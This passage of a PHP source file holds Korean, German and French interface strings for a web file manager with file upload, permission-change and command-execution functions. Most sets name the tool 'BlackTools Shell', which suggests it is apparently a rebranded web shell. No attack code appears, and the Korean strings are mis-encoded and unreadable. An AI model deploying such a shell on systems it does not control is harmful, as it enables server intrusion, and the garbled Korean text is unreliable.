647 $kr['OutDocRoot'] = 'DOCUMENT_ROOT ì´ë‚´ì˜ 파ì¼ì´ 아닙니다';
648 $kr['NoCmd'] = '오류: ëª…ë ¹ì´ ì‹¤í–‰ë˜ì§€ 않았습니다';
649 $kr['ConfTrySave'] = '파ì¼ì— 쓰기 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.\\nê·¸ëž˜ë„ ì €ìž¥í•˜ì‹œê² ìŠµë‹ˆê¹Œ';
650 $kr['ConfSaved'] = 'í™˜ê²½ì´ ì €ìž¥ë˜ì—ˆìŠµë‹ˆë‹¤';
651 $kr['PassSaved'] = '비밀번호 ì €ìž¥';
652 $kr['FileDirExists'] = 'íŒŒì¼ ë˜ëŠ” ë””ë ‰í† ë¦¬ê°€ ì´ë¯¸ 존재합니다';
653 $kr['NoPhpinfo'] = 'PHPINFO()를 ì‚¬ìš©í• ìˆ˜ 없습니다';
654 $kr['NoReturn'] = '반환값 ì—†ìŒ';
655 $kr['FileSent'] = 'íŒŒì¼ ì „ì†¡';
656 $kr['SpaceLimReached'] = 'ì €ìž¥ê³µê°€ ì—¬ìœ ê°€ 없습니다';
657 $kr['InvExt'] = 'ìœ íš¨í•˜ì§€ ì•Šì€ í™•ìž¥ìž';
658 $kr['FileNoOverw'] = '파ì¼ì„ ë®ì–´ 쓸수 없습니다';
659 $kr['FileOverw'] = '파ì¼ì„ ë®ì–´ ì¼ìŠµë‹ˆë‹¤';
660 $kr['FileIgnored'] = '파ì¼ì´ 무시ë˜ì—ˆìŠµë‹ˆë‹¤';
661 $kr['ChkVer'] = 'ì—서 ìƒˆë²„ì „ 확ì¸';
662 $kr['ChkVerAvailable'] = '새로운 ë²„ì „ì´ ìžˆìŠµë‹ˆë‹¤. ë‹¤ìš´ë°›ìœ¼ë ¤ë©´ í´ë¦í•˜ì„¸ìš”!!';
663 $kr['ChkVerNotAvailable'] = '새로운 ë²„ì „ì´ ì—†ìŠµë‹ˆë‹¤. :(';
664 $kr['ChkVerError'] = '연결 오류';
665 $kr['Website'] = '웹사ì´íЏ';
666 $kr['SendingForm'] = '파ì¼ì„ ì „ì†¡ì¤‘ìž…ë‹ˆë‹¤. 기다리세요';
667 $kr['NoFileSel'] = '파ì¼ì´ ì„ íƒë˜ì§€ 않았습니다';
668 $kr['SelAll'] = 'ëª¨ë“ ';
669 $kr['SelNone'] = 'ì œë¡œ';
670 $kr['SelInverse'] = 'ì—';
671
672 // German - by Guido Ogrzal
673 $de1['Version'] = 'Version';
674 $de1['DocRoot'] = 'Dokument Wurzelverzeichnis';
675 $de1['FLRoot'] = 'Dateimanager Wurzelverzeichnis';
676 $de1['Name'] = 'Name';
677 $de1['And'] = 'und';
678 $de1['Enter'] = 'Eintreten';
679 $de1['Send'] = 'Senden';
680 $de1['Refresh'] = 'Aktualisieren';
681 $de1['SaveConfig'] = 'Konfiguration speichern';
682 $de1['SavePass'] = 'Passwort speichern';
683 $de1['SaveFile'] = 'Datei speichern';
684 $de1['Save'] = 'Speichern';
685 $de1['Leave'] = 'Verlassen';
686 $de1['Edit'] = 'Bearbeiten';
687 $de1['View'] = 'Ansehen';
688 $de1['Config'] = 'Konfigurieren';
689 $de1['Ren'] = 'Umbenennen';
690 $de1['Rem'] = 'Löschen';
691 $de1['Compress'] = 'Komprimieren';
692 $de1['Decompress'] = 'Dekomprimieren';
693 $de1['ResolveIDs'] = 'Resolve IDs';
694 $de1['Move'] = 'Verschieben';
695 $de1['Copy'] = 'Kopieren';
696 $de1['ServerInfo'] = 'Server-Info';
697 $de1['CreateDir'] = 'Neues Verzeichnis';
698 $de1['CreateArq'] = 'Neue Datei';
699 $de1['ExecCmd'] = 'Kommando';
700 $de1['Upload'] = 'Datei hochladen';
701 $de1['UploadEnd'] = 'Datei hochladen beendet';
702 $de1['Perm'] = 'Erlaubnis';
703 $de1['Perms'] = 'Erlaubnis';
704 $de1['Owner'] = 'Besitzer';
705 $de1['Group'] = 'Gruppe';
706 $de1['Other'] = 'Andere';
707 $de1['Size'] = 'Größe';
708 $de1['Date'] = 'Datum';
709 $de1['Type'] = 'Typ';
710 $de1['Free'] = 'frei';
711 $de1['Shell'] = 'Shell';
712 $de1['Read'] = 'Lesen';
713 $de1['Write'] = 'Schreiben';
714 $de1['Exec'] = 'Ausführen';
715 $de1['Apply'] = 'Bestätigen';
716 $de1['StickyBit'] = 'Sticky Bit';
717 $de1['Pass'] = 'Passwort';
718 $de1['Lang'] = 'Sprache';
719 $de1['File'] = 'Datei';
720 $de1['File_s'] = 'Datei(en)';
721 $de1['Dir_s'] = 'Verzeichniss(e)';
722 $de1['To'] = '->';
723 $de1['Destination'] = 'Ziel';
724 $de1['Configurations'] = 'Konfiguration';
725 $de1['JSError'] = 'JavaScript Fehler';
726 $de1['NoSel'] = 'Es gibt keine selektierten Objekte';
727 $de1['SelDir'] = 'Selektiere das Zielverzeichnis im linken Verzeichnisbaum';
728 $de1['TypeDir'] = 'Trage den Verzeichnisnamen ein';
729 $de1['TypeArq'] = 'Trage den Dateinamen ein';
730 $de1['TypeCmd'] = 'Gib das Kommando ein';
731 $de1['TypeArqComp'] = 'Trage den Dateinamen ein.\\nDie Dateierweiterung wird den Kompressiontyp bestimmen.\\nBsp.:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
732 $de1['RemSel'] = 'LÖSCHE die selektierten Objekte';
733 $de1['NoDestDir'] = 'Das selektierte Zielverzeichnis existiert nicht';
734 $de1['DestEqOrig'] = 'Quell- und Zielverzeichnis stimmen überein';
735 $de1['InvalidDest'] = 'Zielverzeichnis ist ungültig';
736 $de1['NoNewPerm'] = 'Neue Zugriffserlaubnis konnte nicht gesetzt werden';
737 $de1['CopyTo'] = 'KOPIERE nach';
738 $de1['MoveTo'] = 'VERSCHIEBE nach';
739 $de1['AlterPermTo'] = 'ÄNDERE ZUGRIFFSERLAUBSNIS in';
740 $de1['ConfExec'] = 'Bestätige AUSFÜHRUNG';
741 $de1['ConfRem'] = 'Bestätige LÖSCHEN';
742 $de1['EmptyDir'] = 'Leeres Verzeichnis';
743 $de1['IOError'] = 'Eingabe/Ausgabe-Fehler';
744 $de1['FileMan'] = 'BlackTools Shell';
745 $de1['TypePass'] = 'Trage das Passwort ein';
746 $de1['InvPass'] = 'Ungültiges Passwort';
747 $de1['ReadDenied'] = 'Lesezugriff verweigert';
748 $de1['FileNotFound'] = 'Datei nicht gefunden';
749 $de1['AutoClose'] = 'Schließen, wenn fertig';
750 $de1['OutDocRoot'] = 'Datei außerhalb von DOCUMENT_ROOT';
751 $de1['NoCmd'] = 'Fehler: Es wurde kein Kommando eingetragen';
752 $de1['ConfTrySave'] = 'Keine Schreibberechtigung für die Datei.\\nVersuche trotzdem zu speichern';
753 $de1['ConfSaved'] = 'Konfiguration gespeichert';
754 $de1['PassSaved'] = 'Passwort gespeichert';
755 $de1['FileDirExists'] = 'Datei oder Verzeichnis existiert schon';
756 $de1['NoPhpinfo'] = 'Funktion phpinfo ist inaktiv';
757 $de1['NoReturn'] = 'keine Rückgabe';
758 $de1['FileSent'] = 'Datei wurde gesendet';
759 $de1['SpaceLimReached'] = 'Verfügbares Speicherlimit wurde erreicht';
760 $de1['InvExt'] = 'Ungültige Dateiendung';
761 $de1['FileNoOverw'] = 'Datei kann nicht überschrieben werden';
762 $de1['FileOverw'] = 'Datei überschrieben';
763 $de1['FileIgnored'] = 'Datei ignoriert';
764 $de1['ChkVer'] = 'Prüfe auf neue Version';
765 $de1['ChkVerAvailable'] = 'Neue Version verfügbar; klicke hier, um den Download zu starten!!';
766 $de1['ChkVerNotAvailable'] = 'Keine neue Version gefunden. :(';
767 $de1['ChkVerError'] = 'Verbindungsfehler.';
768 $de1['Website'] = 'Webseite';
769 $de1['SendingForm'] = 'Sende Dateien... Bitte warten.';
770 $de1['NoFileSel'] = 'Keine Datei selektiert';
771 $de1['SelAll'] = 'Alle';
772 $de1['SelNone'] = 'Keine';
773 $de1['SelInverse'] = 'Invertieren';
774 $de1['Selected_s'] = 'selektiert';
775 $de1['Total'] = 'Gesamt';
776 $de1['Partition'] = 'Partition';
777 $de1['RenderTime'] = 'Zeit, um die Seite anzuzeigen';
778 $de1['Seconds'] = 's';
779 $de1['ErrorReport'] = 'Fehlerreport';
780
781 // German - by AXL
782 $de2['Version'] = 'Version';
783 $de2['DocRoot'] = 'Document Stammverzeichnis';
784 $de2['FLRoot'] = 'Datei Manager Stammverzeichnis';
785 $de2['Name'] = 'Name';
786 $de2['And'] = 'und';
787 $de2['Enter'] = 'Enter';
788 $de2['Send'] = 'Senden';
789 $de2['Refresh'] = 'Aktualisieren';
790 $de2['SaveConfig'] = 'Konfiguration speichern';
791 $de2['SavePass'] = 'Passwort speichern';
792 $de2['SaveFile'] = 'Datei speichern';
793 $de2['Save'] = 'Speichern';
794 $de2['Leave'] = 'Verlassen';
795 $de2['Edit'] = 'Bearb.';
796 $de2['View'] = 'Anzeigen';
797 $de2['Config'] = 'Konfigurieren';
798 $de2['Ren'] = 'Umb.';
799 $de2['Rem'] = 'Löschen';
800 $de2['Compress'] = 'Komprimieren';
801 $de2['Decompress'] = 'De-Komprimieren';
802 $de2['ResolveIDs'] = 'IDs auflösen';
803 $de2['Move'] = 'Versch.';
804 $de2['Copy'] = 'Kopie';
805 $de2['ServerInfo'] = 'Server Info';
806 $de2['CreateDir'] = 'Verzeichnis erstellen';
807 $de2['CreateArq'] = 'Datei erstellen';
808 $de2['ExecCmd'] = 'Befehl ausführen';
809 $de2['Upload'] = 'Upload';
810 $de2['UploadEnd'] = 'Upload abgeschlossen';
811 $de2['Perm'] = 'Rechte';
812 $de2['Perms'] = 'Rechte';
813 $de2['Owner'] = 'Besitzer';
814 $de2['Group'] = 'Gruppe';
815 $de2['Other'] = 'Andere';
816 $de2['Size'] = 'Größe';
817 $de2['Date'] = 'Datum';
818 $de2['Type'] = 'Typ';
819 $de2['Free'] = 'frei';
820 $de2['Shell'] = 'Shell';
821 $de2['Read'] = 'Read';
822 $de2['Write'] = 'Write';
823 $de2['Exec'] = 'Execute';
824 $de2['Apply'] = 'Anwenden';
825 $de2['StickyBit'] = 'Sticky Bit';
826 $de2['Pass'] = 'Passwort';
827 $de2['Lang'] = 'Sprache';
828 $de2['File'] = 'Datei';
829 $de2['File_s'] = 'Datei(en)';
830 $de2['Dir_s'] = 'Verzeichnis(se)';
831 $de2['To'] = 'an';
832 $de2['Destination'] = 'Ziel';
833 $de2['Configurations'] = 'Konfigurationen';
834 $de2['JSError'] = 'JavaScript Fehler';
835 $de2['NoSel'] = 'Keine Einträge ausgewählt';
836 $de2['SelDir'] = 'Wählen Sie das Zeilverzeichnis im Verzeichnis links';
837 $de2['TypeDir'] = 'Geben Sie den Verzeichnisnamen ein';
838 $de2['TypeArq'] = 'Geben Sie den Dateinamen ein';
839 $de2['TypeCmd'] = 'Geben Sie den Befehl ein';
840 $de2['TypeArqComp'] = 'Geben Sie den Dateinamen ein.\\nDie Datei-Extension legt den Kopressionstyp fest.\\nBeispiel:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
841 $de2['RemSel'] = 'Ausgewählte Dateien LÖSCHEN';
842 $de2['NoDestDir'] = 'Es wurde kein Zielverzeichnis angegeben';
843 $de2['DestEqOrig'] = 'Quell- und Zielverzeichnis sind identisch';
844 $de2['InvalidDest'] = 'Zielverzeichnis ungültig';
845 $de2['NoNewPerm'] = 'Unzureichende Rechte';
846 $de2['CopyTo'] = 'KOPIEREN nach';
847 $de2['MoveTo'] = 'VERSCHIEBEN nach';
848 $de2['AlterPermTo'] = 'RECHTE ÄNDERN in';
849 $de2['ConfExec'] = 'Bestätigung AUSFÜHREN';
850 $de2['ConfRem'] = 'Bestätigung LÖSCHEN';
851 $de2['EmptyDir'] = 'Leeres Verzeichnis';
852 $de2['IOError'] = 'Ein-/Ausgabe-Fehler';
853 $de2['FileMan'] = 'BlackTools Shell';
854 $de2['TypePass'] = 'Bitte geben Sie das Passwort ein';
855 $de2['InvPass'] = 'Ungültiges Passwort';
856 $de2['ReadDenied'] = 'Leasezugriff verweigert';
857 $de2['FileNotFound'] = 'Datei nicht gefunden';
858 $de2['AutoClose'] = 'Schliessen nach Beenden';
859 $de2['OutDocRoot'] = 'Datei oberhalb DOCUMENT_ROOT';
860 $de2['NoCmd'] = 'Fehler: Befehl nicht informed';
861 $de2['ConfTrySave'] = 'Datei ohne Schreibberechtigung.\\nTrotzdem versuchen zu speichern';
862 $de2['ConfSaved'] = 'Konfigurationen gespeichert';
863 $de2['PassSaved'] = 'Passwort gespeichert';
864 $de2['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
865 $de2['NoPhpinfo'] = 'Funktion phpinfo ausgeschaltet';
866 $de2['NoReturn'] = 'keine Rückgabe';
867 $de2['FileSent'] = 'Datei versandt';
868 $de2['SpaceLimReached'] = 'Plattenplatz erschöpft';
869 $de2['InvExt'] = 'Ungültige datei-Extension';
870 $de2['FileNoOverw'] = 'Datei kann nicht überschrieben werden';
871 $de2['FileOverw'] = 'Datei überschrieben';
872 $de2['FileIgnored'] = 'Datei ignoriert';
873 $de2['ChkVer'] = 'Überprüfe neuer Version';
874 $de2['ChkVerAvailable'] = 'Neue Version. Hier klicken für Download!!';
875 $de2['ChkVerNotAvailable'] = 'Keine neue Version verfügbar. :(';
876 $de2['ChkVerError'] = 'Verbindungsfehler.';
877 $de2['Website'] = 'Webseite';
878 $de2['SendingForm'] = 'Sende Dateien, bitte warten';
879 $de2['NoFileSel'] = 'Keine Dateien ausgewählt';
880 $de2['SelAll'] = 'Alle';
881 $de2['SelNone'] = 'Keine';
882 $de2['SelInverse'] = 'Invers';
883 $de2['Selected_s'] = 'ausgewählt';
884 $de2['Total'] = 'Total';
885 $de2['Partition'] = 'Partition';
886 $de2['RenderTime'] = 'Zeit zum Erzeugen der Seite';
887 $de2['Seconds'] = 'Sekunden';
888 $de2['ErrorReport'] = 'Fehler berichten';
889
890 // German - by Mathias Rothe
891 $de3['Version'] = 'Version';
892 $de3['DocRoot'] = 'Dokumenten Root';
893 $de3['FLRoot'] = 'Datei Manager Root';
894 $de3['Name'] = 'Name';
895 $de3['And'] = 'und';
896 $de3['Enter'] = 'Enter';
897 $de3['Send'] = 'Senden';
898 $de3['Refresh'] = 'Refresh';
899 $de3['SaveConfig'] = 'Konfiguration speichern';
900 $de3['SavePass'] = 'Passwort speichern';
901 $de3['SaveFile'] = 'Datei speichern';
902 $de3['Save'] = 'Speichern';
903 $de3['Leave'] = 'Abbrechen';
904 $de3['Edit'] = 'Bearbeiten';
905 $de3['View'] = 'Anzeigen';
906 $de3['Config'] = 'Konfiguration';
907 $de3['Ren'] = 'Umbenennen';
908 $de3['Rem'] = 'Entfernen';
909 $de3['Compress'] = 'Packen';
910 $de3['Decompress'] = 'Entpacken';
911 $de3['ResolveIDs'] = 'IDs aufloesen';
912 $de3['Move'] = 'Verschieben';
913 $de3['Copy'] = 'Kopie';
914 $de3['ServerInfo'] = 'Server Info';
915 $de3['CreateDir'] = 'Neuer Ordner';
916 $de3['CreateArq'] = 'Neue Datei';
917 $de3['ExecCmd'] = 'Befehl ausfuehren';
918 $de3['Upload'] = 'Upload';
919 $de3['UploadEnd'] = 'Upload beendet';
920 $de3['Perm'] = 'Rechte';
921 $de3['Perms'] = 'Rechte';
922 $de3['Owner'] = 'Eigent';
923 $de3['Group'] = 'Gruppe';
924 $de3['Other'] = 'Andere';
925 $de3['Size'] = 'Groesse';
926 $de3['Date'] = 'Datum';
927 $de3['Type'] = 'Typ';
928 $de3['Free'] = 'frei';
929 $de3['Shell'] = 'Shell';
930 $de3['Read'] = 'Lesen';
931 $de3['Write'] = 'Schreiben';
932 $de3['Exec'] = 'Ausfuehren';
933 $de3['Apply'] = 'Bestaetigen';
934 $de3['StickyBit'] = 'Sticky Bit';
935 $de3['Pass'] = 'Passwort';
936 $de3['Lang'] = 'Sprache';
937 $de3['File'] = 'Datei';
938 $de3['File_s'] = 'Datei(en)';
939 $de3['Dir_s'] = 'Ordner';
940 $de3['To'] = 'nach';
941 $de3['Destination'] = 'Ziel';
942 $de3['Configurations'] = 'Konfiguration';
943 $de3['JSError'] = 'JavaScript Error';
944 $de3['NoSel'] = 'Keine Objekte ausgewaehlt';
945 $de3['SelDir'] = 'Waehlen Sie links das Zielverzeichnis aus';
946 $de3['TypeDir'] = 'Verzeichnisname eingeben';
947 $de3['TypeArq'] = 'Dateiname eingeben';
948 $de3['TypeCmd'] = 'Befehl eingeben';
949 $de3['TypeArqComp'] = 'Dateinamen eingeben.\\nDie Erweiterung definiert den Archiv-Typ.\\nEx:\\nname.zip\\nname.tar\\nname.bzip\\nname.gzip';
950 $de3['RemSel'] = 'Entferne ausgewaehlte Objekte';
951 $de3['NoDestDir'] = 'Kein Zielverzeichnis ausgewaehlt';
952 $de3['DestEqOrig'] = 'Quelle und Zielverzeichnis sind gleich';
953 $de3['InvalidDest'] = 'Zielverzeichnis ungueltig';
954 $de3['NoNewPerm'] = 'Neue Rechte nicht gesetzt';
955 $de3['CopyTo'] = 'Kopiere nach';
956 $de3['MoveTo'] = 'Verschiebe nach';
957 $de3['AlterPermTo'] = 'Aendere Rechte zu';
958 $de3['ConfExec'] = 'Ausfuehren bestaetigen';
959 $de3['ConfRem'] = 'Entfernen bestaetigen';
960 $de3['EmptyDir'] = 'Leerer Ordner';
961 $de3['IOError'] = 'I/O Fehler';
962 $de3['FileMan'] = 'PHP Datei Manager';
963 $de3['TypePass'] = 'Bitte Passwort eingeben';
964 $de3['InvPass'] = 'Falsches Passwort';
965 $de3['ReadDenied'] = 'Kein Lesezugriff';
966 $de3['FileNotFound'] = 'Datei nicht gefunden';
967 $de3['AutoClose'] = 'Beenden bei Fertigstellung';
968 $de3['OutDocRoot'] = 'Datei ausserhalb des DOCUMENT_ROOT';
969 $de3['NoCmd'] = 'Fehler: unbekannter Befehl';
970 $de3['ConfTrySave'] = 'Datei ohne Schreibrecht.\\nVersuche dennoch zu speichern';
971 $de3['ConfSaved'] = 'Konfiguration gespeichert';
972 $de3['PassSaved'] = 'Passwort gespeichert';
973 $de3['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
974 $de3['NoPhpinfo'] = 'Funktion phpinfo gesperrt';
975 $de3['NoReturn'] = 'kein zurueck';
976 $de3['FileSent'] = 'Datei gesendet';
977 $de3['SpaceLimReached'] = 'Speicherplatz Grenze erreicht';
978 $de3['InvExt'] = 'Ungueltige Erweiterung';
979 $de3['FileNoOverw'] = 'Datei konnte nicht ueberschrieben werden';
980 $de3['FileOverw'] = 'Datei ueberschrieben';
981 $de3['FileIgnored'] = 'Datei ignoriert';
982 $de3['ChkVer'] = 'Puefe eine neuere Version';
983 $de3['ChkVerAvailable'] = 'Neue Version, hier klicken zum Download!!';
984 $de3['ChkVerNotAvailable'] = 'Keine neuere Version vorhanden. :(';
985 $de3['ChkVerError'] = 'Verbindungsfehler.';
986 $de3['Website'] = 'Website';
987 $de3['SendingForm'] = 'Dateien werden gesendet, bitte warten';
988 $de3['NoFileSel'] = 'Keine Datei ausgewaehlt';
989 $de3['SelAll'] = 'Alle';
990 $de3['SelNone'] = 'Keine';
991 $de3['SelInverse'] = 'Invertiere';
992 $de3['Selected_s'] = 'ausgewaehlt';
993 $de3['Total'] = 'gesamt';
994 $de3['Partition'] = 'Partition';
995 $de3['RenderTime'] = 'Zeit zur Erzeugung dieser Seite';
996 $de3['Seconds'] = 'sec';
997 $de3['ErrorReport'] = 'Fehlermeldungen';
998
999 // French - by Jean Bilwes
1000 $fr1['Version'] = 'Version';
1001 $fr1['DocRoot'] = 'Racine des documents';
1002 $fr1['FLRoot'] = 'Racine du gestionnaire de fichers';
1003 $fr1['Name'] = 'Nom';
1004 $fr1['And'] = 'et';
1005 $fr1['Enter'] = 'Enter';
1006 $fr1['Send'] = 'Envoyer';
1007 $fr1['Refresh'] = 'Rafraichir';
1008 $fr1['SaveConfig'] = 'Enregistrer la Configuration';
1009 $fr1['SavePass'] = 'Enregistrer le mot de passe';
1010 $fr1['SaveFile'] = 'Enregistrer le fichier';
1011 $fr1['Save'] = 'Enregistrer';
1012 $fr1['Leave'] = 'Quitter';
1013 $fr1['Edit'] = 'Modifier';
1014 $fr1['View'] = 'Voir';
1015 $fr1['Config'] = 'Config';
1016 $fr1['Ren'] = 'Renommer';
1017 $fr1['Rem'] = 'Detruire';
1018 $fr1['Compress'] = 'Compresser';
1019 $fr1['Decompress'] = 'Decompresser';
1020 $fr1['ResolveIDs'] = 'Resoudre les IDs';
1021 $fr1['Move'] = 'Déplacer';
1022 $fr1['Copy'] = 'Copier';
1023 $fr1['ServerInfo'] = 'info du sreveur';
1024 $fr1['CreateDir'] = 'Créer un répertoire';
1025 $fr1['CreateArq'] = 'Créer un fichier';
1026 $fr1['ExecCmd'] = 'Executer une Commande';
1027 $fr1['Upload'] = 'Téléversement(upload)';
1028 $fr1['UploadEnd'] = 'Téléversement Fini';
1029 $fr1['Perm'] = 'Perm';
1030 $fr1['Perms'] = 'Permissions';
1031 $fr1['Owner'] = 'Propriétaire';
1032 $fr1['Group'] = 'Groupe';
1033 $fr1['Other'] = 'Autre';
1034 $fr1['Size'] = 'Taille';
1035 $fr1['Date'] = 'Date';
1036 $fr1['Type'] = 'Type';
1037 $fr1['Free'] = 'libre';
1038 $fr1['Shell'] = 'Shell';
1039 $fr1['Read'] = 'Lecture';
1040 $fr1['Write'] = 'Ecriture';
1041 $fr1['Exec'] = 'Executer';
1042 $fr1['Apply'] = 'Appliquer';
1043 $fr1['StickyBit'] = 'Sticky Bit';
1044 $fr1['Pass'] = 'Mot de passe';
1045 $fr1['Lang'] = 'Langage';
1046 $fr1['File'] = 'Fichier';
1047 $fr1['File_s'] = 'fichier(s)';
1048 $fr1['Dir_s'] = 'répertoire(s)';
1049 $fr1['To'] = 'Ã ';
1050 $fr1['Destination'] = 'Destination';
1051 $fr1['Configurations'] = 'Configurations';
1052 $fr1['JSError'] = 'Erreur JavaScript';
1053 $fr1['NoSel'] = 'Rien n\'est sélectionné';
1054 $fr1['SelDir'] = 'Selectionnez le répertoire de destination dans le panneau gauche';
1055 $fr1['TypeDir'] = 'Entrer le nom du répertoire';
1056 $fr1['TypeArq'] = 'Entrer le nom du fichier';
1057 $fr1['TypeCmd'] = 'Entrer la commande';
1058 $fr1['TypeArqComp'] = 'Entrer le nom du fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1059 $fr1['RemSel'] = 'EFFACER les objets sélectionnés';
1060 $fr1['NoDestDir'] = 'Aucun répertoire de destination n\'est sélectionné';
1061 $fr1['DestEqOrig'] = 'Les répertoires source et destination sont identiques';
1062 $fr1['InvalidDest'] = 'Le répertoire de destination est invalide';
1063 $fr1['NoNewPerm'] = 'Nouvelle permission non établie';
1064 $fr1['CopyTo'] = 'COPIER vers';
1065 $fr1['MoveTo'] = 'DEPLACER vers';
1066 $fr1['AlterPermTo'] = 'CHANGER LES PERMISSIONS';
1067 $fr1['ConfExec'] = 'Confirmer l\'EXECUTION';
1068 $fr1['ConfRem'] = 'Confirmer la DESTRUCTION';
1069 $fr1['EmptyDir'] = 'Répertoire vide';
1070 $fr1['IOError'] = 'I/O Error';
1071 $fr1['FileMan'] = 'BlackTools Shell';
1072 $fr1['TypePass'] = 'Entrer le mot de passe';
1073 $fr1['InvPass'] = 'Mot de passe invalide';
1074 $fr1['ReadDenied'] = 'Droit de lecture refusé';
1075 $fr1['FileNotFound'] = 'Fichier introuvable';
1076 $fr1['AutoClose'] = 'Fermer sur fin';
1077 $fr1['OutDocRoot'] = 'Fichier au delà de DOCUMENT_ROOT';
1078 $fr1['NoCmd'] = 'Erreur: Commande non renseignée';
1079 $fr1['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nJ\'essaie de l\'enregister';
1080 $fr1['ConfSaved'] = 'Configurations enreristrée';
1081 $fr1['PassSaved'] = 'Mot de passe enreristré';
1082 $fr1['FileDirExists'] = 'Le fichier ou le répertoire existe déjà ';
1083 $fr1['NoPhpinfo'] = 'Function phpinfo désactivée';
1084 $fr1['NoReturn'] = 'pas de retour';
1085 $fr1['FileSent'] = 'Fichier envoyé';
1086 $fr1['SpaceLimReached'] = 'Espace maxi atteint';
1087 $fr1['InvExt'] = 'Extension invalide';
1088 $fr1['FileNoOverw'] = 'Le fichier ne peut pas etre écrasé';
1089 $fr1['FileOverw'] = 'Fichier écrasé';
1090 $fr1['FileIgnored'] = 'Fichier ignoré';
1091 $fr1['ChkVer'] = 'Verifier nouvelle version';
1092 $fr1['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour la téléchager!!';
1093 $fr1['ChkVerNotAvailable'] = 'Aucune mise a jour de disponible. :(';
1094 $fr1['ChkVerError'] = 'Erreur de connection.';
1095 $fr1['Website'] = 'siteweb';
1096 $fr1['SendingForm'] = 'Envoi des fichiers en cours, Patienter';
1097 $fr1['NoFileSel'] = 'Aucun fichier sélectionné';
1098 $fr1['SelAll'] = 'Tous';
1099 $fr1['SelNone'] = 'Aucun';
1100 $fr1['SelInverse'] = 'Inverser';
1101 $fr1['Selected_s'] = 'selectioné';
1102 $fr1['Total'] = 'total';
1103 $fr1['Partition'] = 'Partition';
1104 $fr1['RenderTime'] = 'Temps pour afficher cette page';
1105 $fr1['Seconds'] = 'sec';
1106 $fr1['ErrorReport'] = 'Rapport d\'erreur';
1107
1108 // French - by Sharky
1109 $fr2['Version'] = 'Version';
1110 $fr2['DocRoot'] = 'Racine document';
1111 $fr2['FLRoot'] = 'Gestion des fichiers racine';
1112 $fr2['Name'] = 'Nom';
1113 $fr2['And'] = 'et';
1114 $fr2['Enter'] = 'Entrer';
1115 $fr2['Send'] = 'Envoi';
1116 $fr2['Refresh'] = 'Rafraîchir';
1117 $fr2['SaveConfig'] = 'Sauver configurations';
1118 $fr2['SavePass'] = 'Sauver mot de passe';
1119 $fr2['SaveFile'] = 'Sauver fichier';
1120 $fr2['Save'] = 'Sauver';
1121 $fr2['Leave'] = 'Permission';
1122 $fr2['Edit'] = 'Éditer';
1123 $fr2['View'] = 'Afficher';
1124 $fr2['Config'] = 'config';
1125 $fr2['Ren'] = 'Renommer';
1126 $fr2['Rem'] = 'Effacer';
1127 $fr2['Compress'] = 'Compresser';
1128 $fr2['Decompress'] = 'Décompresser';
1129 $fr2['ResolveIDs'] = 'Résoudre ID';
1130 $fr2['Move'] = 'Déplacer';
1131 $fr2['Copy'] = 'Copier';
1132 $fr2['ServerInfo'] = 'Information Serveur';
1133 $fr2['CreateDir'] = 'Créer un répertoire';
1134 $fr2['CreateArq'] = 'Créer un fichier';
1135 $fr2['ExecCmd'] = 'Executé une commande';
1136 $fr2['Upload'] = 'Transférer';
1137 $fr2['UploadEnd'] = 'Transfert terminé';
1138 $fr2['Perm'] = 'Perm';
1139 $fr2['Perms'] = 'Permissions';
1140 $fr2['Owner'] = 'Propriétaire';
1141 $fr2['Group'] = 'Groupe';
1142 $fr2['Other'] = 'Autre';
1143 $fr2['Size'] = 'Taille';
1144 $fr2['Date'] = 'date';
1145 $fr2['Type'] = 'Type';
1146 $fr2['Free'] = 'Libre';
1147 $fr2['Shell'] = 'Shell';
1148 $fr2['Read'] = 'lecture';
1149 $fr2['Write'] = 'écriture';
1150 $fr2['Exec'] = 'Execute';
1151 $fr2['Apply'] = 'Appliquer';
1152 $fr2['StickyBit'] = 'Bit figer';
1153 $fr2['Pass'] = 'mot de passe';
1154 $fr2['Lang'] = 'Language';
1155 $fr2['File'] = 'Fichier';
1156 $fr2['File_s'] = 'fichier(s)';
1157 $fr2['Dir_s'] = 'répertoire(s)';
1158 $fr2['To'] = 'Ã ';
1159 $fr2['Destination'] = 'Destination';
1160 $fr2['Configurations'] = 'Configurations';
1161 $fr2['JSError'] = 'Erreur JavaScript';
1162 $fr2['NoSel'] = 'Il n\'y a pas d\'objets sélectionnés';
1163 $fr2['SelDir'] = 'Sélectionnez le répertoire de destination sur l\'arborescence de gauche';
1164 $fr2['TypeDir'] = 'Entrez le nom du répertoire';
1165 $fr2['TypeArq'] = 'Entrez le nom du fichier';
1166 $fr2['TypeCmd'] = 'Entrez la commande';
1167 $fr2['TypeArqComp'] = 'Entrez le fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip';
1168 $fr2['RemSel'] = 'EFFACEZ l\'objet sélectionné';
1169 $fr2['NoDestDir'] = 'Il n\'y a aucun répertoire de destination sélectionné';
1170 $fr2['DestEqOrig'] = 'Origine et répertoires de destination sont identique';
1171 $fr2['InvalidDest'] = 'Répertoire de destination est invalide';
1172 $fr2['NoNewPerm'] = 'Nouvelle autorisation n\'a pas été configuré';
1173 $fr2['CopyTo'] = 'COPIE dans';
1174 $fr2['MoveTo'] = 'DÉPLACER dans';
1175 $fr2['AlterPermTo'] = 'CHANGER PERMISSIONS dans';
1176 $fr2['ConfExec'] = 'Confirmer EXECUTE';
1177 $fr2['ConfRem'] = 'Confirmer EFFACER';
1178 $fr2['EmptyDir'] = 'Répertoire vide';
1179 $fr2['IOError'] = 'I/O Erreur';
1180 $fr2['FileMan'] = 'BlackTools Shell';
1181 $fr2['TypePass'] = 'Entrer le mot de passe';
1182 $fr2['InvPass'] = 'Mot de passe invalide';
1183 $fr2['ReadDenied'] = 'Accès en lecture refuser';
1184 $fr2['FileNotFound'] = 'Fichier non-trouvé';
1185 $fr2['AutoClose'] = 'Fermez a la fin';
1186 $fr2['OutDocRoot'] = 'Fichier au-delà DOCUMENT_ROOT';
1187 $fr2['NoCmd'] = 'Erreur: Commande inconnue';
